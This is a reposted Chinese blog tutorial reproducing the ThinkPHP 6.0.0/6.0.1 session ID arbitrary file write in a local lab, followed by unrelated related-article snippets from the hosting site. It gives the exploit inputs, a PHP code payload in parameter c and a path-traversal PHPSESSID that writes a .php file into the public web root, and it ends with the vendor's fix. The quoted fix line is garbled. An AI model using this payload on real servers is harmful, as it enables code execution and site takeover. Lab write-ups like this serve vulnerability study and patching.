ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

  • 漏洞名称
    • 漏洞描述
    • 影响版本
  • 漏洞复现
    • 环境搭建
      • 安装thinkphp6
      • 漏洞信息配置
    • 漏洞利用
  • 修复建议

漏洞名称

漏洞描述

2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。

影响版本

ThinkPHP 6.0.0
ThinkPHP 6.0.1

漏洞复现

环境搭建

受害者IP:192.168.10.145
攻击者IP:127.0.0.1

安装thinkphp6

下载PHPstudy_pro,网上一堆自己找吧,链接不推了。
利用PHPStudy_pro对环境进行安装Composer2.5.8

在这里插入图片描述

创建网站,域名think6,会在think6目录下生成.htaccess文件和nginx.htaccess文件,将这两个文件移动到上个目录,也就是www目录下。

在这里插入图片描述

打开composer,composer2.5.8,php>=7.2

在这里插入图片描述
在这里插入图片描述
在www目录下面执行这个命令

cd ../
composer create-project topthink/think think6(think6自定义,这个会生成一个文件夹)  

将 think6/composer.json 文件的 “topthink/framework”: “^6.0.0” 改成 6.0.0 版本,并执行更新命令

在这里插入图片描述

进入tp6目录
cd tp6
composer update

在本地访问网站为6.0.0,则成功搭建。
在这里插入图片描述

漏洞信息配置

构造位置:think6\app\controller\Index.php
需要增加构造的内容:

use think\facade\Session;
session::set('demo',$_GET['c']);

在这里插入图片描述

/think6/app/middleware.php 文件开启session,去掉注释session的//

在这里插入图片描述

漏洞利用

构造参数c和phpsessid;

index?c=<?php phpinfo();?>
PHPSESSID=../../../../public/1omg12377.php

在这里插入图片描述

访问public目录下的1omg12377.php文件。

在这里插入图片描述

修复建议

官方修复建议:对session id 加一个过滤,使用ctype_alnum()

$this->id = is_string($id) && strlen($id) === 32 ctype_alnum($id&& ? $id : md5(microtime(true) . session_create_id());

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/594933.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【GlobalMapper精品教程】069:中文属性表乱码问题及解决方法

参考阅读:【ArcGIS Pro微课1000例】0012:ArcGIS Pro属性表中文乱码完美解决办法汇总 文章目录 一、Globalmapper默认字符集设置二、shp属性表乱码三、转出的kmz乱码一、Globalmapper默认字符集设置 中文字体乱码通常是由字符编码不匹配造成的。 打开Globalmapper软件,点击工…

【动态规划】【字符串】扰乱字符串

作者推荐 视频算法专题 涉及知识点 动态规划 字符串 LeetCode87扰乱字符串 使用下面描述的算法可以扰乱字符串 s 得到字符串 t &#xff1a; 如果字符串的长度为 1 &#xff0c;算法停止 如果字符串的长度 > 1 &#xff0c;执行下述步骤&#xff1a; 在一个随机下标处将…

java struts2教务管理系统Myeclipse开发mysql数据库struts2结构java编程计算机网页项目

一、源码特点 java struts2 教务管理系统 是一套完善的web设计系统&#xff0c;对理解JSP java编程开发语言有帮助 struts2 框架开发&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境 为TOMCAT7.0,Myeclipse8.5开发&#xff0c;数据库…

【ikbp】数据可视化DataV

天天查询一些数据&#xff0c;希望来一个托拉拽的展示&#xff0c;部署体验一下可视化大屏 快速搭建快速查询实时更新简单易用 启动服务 数据可视化 静态查询 配置数据 过滤数据 分享

系列七、Ribbon

一、Ribbon 1.1、概述 Ribbon是基于Netflix Ribbon实现的一套客户端负载均衡的工具&#xff0c;是Netflix发布的一款开源项目&#xff0c;其主要功能是提供客户端的软件负载均衡算法和服务调用&#xff0c;Ribbon客户端组件提供一系列完善的配置项&#xff0c;例如&#xff1a…

《低功耗方法学》翻译——卷首语

就目前半导体的发展现状来说&#xff0c;我们国家还处在奋力追赶阶段。在我国半导体行业历经多轮技术制裁的今天&#xff0c;我们不得不承认的是&#xff0c;半导体技术最先进的就是美国。我国早在上世纪六七十年代就有涉足半导体技术&#xff0c;大量华裔留美的爱国人士回国为…

文章解读与仿真程序复现思路——电网技术EI\CSCD\北大核心《基于碳捕集与封存-电转气-电解熔融盐协同的虚拟电厂优化调度》

本专栏栏目提供文章与程序复现思路&#xff0c;具体已有的论文与论文源程序可翻阅本博主的专栏栏目《论文与完整程序》 这个标题涉及到多个关键概念&#xff0c;让我们逐一解读&#xff1a; 碳捕集与封存&#xff08;Carbon Capture and Storage&#xff0c;CCS&#xff09;&a…

redis 三主六从高可用dockerswarm高级版(不固定ip)

redis集群(cluster)笔记 redis 三主三从高可用集群docker swarm redis 三主六从高可用docker(不固定ip) redis 三主六从高可用dockerswarm高级版(不固定ip) 此博客解决&#xff0c;redis加入集群后&#xff0c;是用于停掉后重启&#xff0c;将nodes.conf中的旧的Ip替换为新的…

SQL 在已有表中修改列名的方法

文章目录 1. MySQL2. SQL Server3. Oracle / PostgreSQL Question&#xff1a; 假设有一张表 StudentInfo&#xff0c;表中有一个列名是 Student_Name &#xff0c;想要把这个列名改成 StudentName 应该如何操作&#xff1f; 建表语句如下&#xff1a; --建表 if object_id(S…

【Nginx】反向代理和负载均衡

反向代理 nginx 反向代理&#xff0c;就是将前端发送的动态请求由 nginx 转发到后端服务器。 server {listen 80;server_name localhost;# 反向代理,处理管理端发送的请求location /api/ {proxy_pass http://localhost:8080/admin/;#proxy_pass http://webservers/…

2023我的编程之旅-地质人的山和水

引言 大家好&#xff0c;我是搞地质的。外行人有的说我们游山玩水&#xff0c;有的说我们灰头土脸&#xff0c;也有的说我们不是科学。 而我说&#xff0c;这是一门穷极一生青春&#xff0c;值得奉献的行业。这是一门贴近民生&#xff0c;又拥抱自然的学科。他的真理性在于探…

【数据结构】一些数组面试题以及顺序表的思考

简单不先于复杂&#xff0c;而是在复杂之后。 文章目录 1. 数组相关面试题2. 顺序表的问题及思考 1. 数组相关面试题 1.原地移除数组中所有的元素val&#xff0c;要求时间复杂度为O(N)&#xff0c;空间复杂度为O(1)。 int removeElement(int* nums, int numsSize, int val) {i…

网络安全—部署CA证书服务器

文章目录 网络拓扑安装步骤安装证书系统安装从属证书服务器 申请与颁发申请证书CA颁发证书 使用windows Server 2003环境 网络拓扑 两台服务器在同一网段即可&#xff0c;即能够互相ping通。 安装步骤 安装证书系统 首先我们对计算机名进行确认&#xff0c;安装了证书系统后我…

59.网游逆向分析与插件开发-游戏增加自动化助手接口-文字资源读取类的C++还原

内容来源于&#xff1a;易道云信息技术研究院VIP课 上一个内容&#xff1a;游戏菜单文字资源读取的逆向分析-CSDN博客 之前的内容&#xff1a;接管游戏的自动药水设定功能-CSDN博客 码云地址&#xff08;master分支&#xff09;&#xff1a;https://gitee.com/dye_your_fing…

c++语言基础18-开房门

题目描述 假设你手里有一串钥匙&#xff0c;这串钥匙上每把钥匙都有一个编号&#xff0c;对应着一个房门的编号。现给你一个房门编号&#xff0c;你需要判断是否能够打开该房门。 输入描述 测试数据共有多组。 第一行为一个整数 s&#xff0c;表示共有多少组测试数据。 每组第一…

Windows 10系统用Xlight FTP搭建SFTP服务器

步骤&#xff1a; 1.安装SFTP服务器 刚开始我使用的是freeSSHd&#xff0c;后面发现由于公司网络原因&#xff0c;打不开这个软件&#xff0c;改成了使用Xlight FTP&#xff0c; 官网下载链接&#xff1a;Xlight FTP 服务器 - 下载免费的windows FTP 服务器 Xlight FTP有30…

tp8/6 插件PhpOffice\PhpSpreadsheet导入表格

一、安装 composer require phpoffice/phpspreadsheet 官网&#xff1a;phpoffice/phpspreadsheet - Packagist 二、代码 <?php namespace app\services\upload\model; use app\services\BaseServices; use \PhpOffice\PhpSpreadsheet\Spreadsheet; use \PhpOffice\Php…

JVM:字节码

JVM&#xff1a;字节码 前言1. JVM概述 前言 1. JVM概述 1. JVM vs JDK vs JRE JVM Java 虚拟机&#xff08;JVM&#xff09;是运行 Java 字节码的虚拟机。JVM 有针对不同系统的特定实现&#xff08;Windows&#xff0c;Linux&#xff0c;macOS&#xff09;&#xff0c;目的是…

实现文本 内容展开 / 收起

<template><el-table :data"tableData" style"width: 100%" height"250"><el-table-columnfixedprop"date"label"日期"width"150"></el-table-column><el-table-columnprop"name…

阿里云PolarDB数据库不同配置租用价格表

阿里云数据库PolarDB租用价格表&#xff0c;云数据库PolarDB MySQL版2核4GB&#xff08;通用&#xff09;、2个节点、60 GB存储空间55元5天&#xff0c;云数据库 PolarDB 分布式版标准版2核16G&#xff08;通用&#xff09;57.6元3天&#xff0c;阿里云百科aliyunbaike.com分享…